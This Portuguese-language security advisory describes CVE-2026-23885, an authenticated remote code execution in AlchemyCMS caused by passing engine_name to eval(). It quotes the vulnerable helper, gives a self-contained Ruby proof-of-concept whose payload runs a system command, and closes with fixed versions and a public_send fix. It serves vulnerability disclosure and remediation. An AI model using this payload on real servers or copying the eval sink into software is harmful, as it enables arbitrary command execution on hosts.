
Prova de conceito de exploit para CVE-2026-23885, uma RCE autenticada no AlchemyCMS via injeção em eval(), com análise técnica e orientações de remediação.
Uma vulnerabilidade de segurança crítica envolvendo Neutralização Incorreta de Diretivas em Código Avaliado Dinamicamente (CWE-95) foi descoberta no framework AlchemyCMS. A vulnerabilidade permite que um usuário autenticado com privilégios administrativos execute código Ruby arbitrário e comandos do sistema no servidor host por meio de um sink de injeção eval().
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxyO método auxiliar processa de forma insegura o atributo engine_name do objeto resource_handler. Esse atributo é passado diretamente para a função eval() do Ruby sem sanitização ou validação prévia.
def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
A presença da diretiva # rubocop:disable Security/Eval confirma que as implicações de segurança do uso de eval() foram reconhecidas, mas ignoradas durante a implementação.
3. Prova de Conceito (PoC)
Vetor de Ataque
A vulnerabilidade é acionada na interface administrativa do AlchemyCMS ao renderizar visualizações baseadas em recursos (por exemplo, Sites ou Languages). Se um atacante conseguir manipular a configuração do módulo ou os dados subjacentes do recurso, ele poderá obter execução.
Script de Exploração Autônomo
O script a seguir demonstra a execução arbitrária de código simulando o ambiente vulnerável do método auxiliar:
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# Payload: Executa o comando 'id' do sistema e cria arquivo de evidência
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
Evidência de Execução
Após a execução, o comando do sistema é processado, concedendo ao atacante acesso ao ambiente do servidor.

Integridade: Alta. Capacidade de modificar arquivos e registros do banco de dados.
Disponibilidade: Alta. Potencial para interrupção total do sistema.
ID CVE: CVE-2026-23885
7.4.12
8.0.3
A correção envolve substituir a chamada eval() por public_send() para rotear solicitações com segurança ao proxy de engine pretendido:
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
Referência CVE: CVE-2026-23885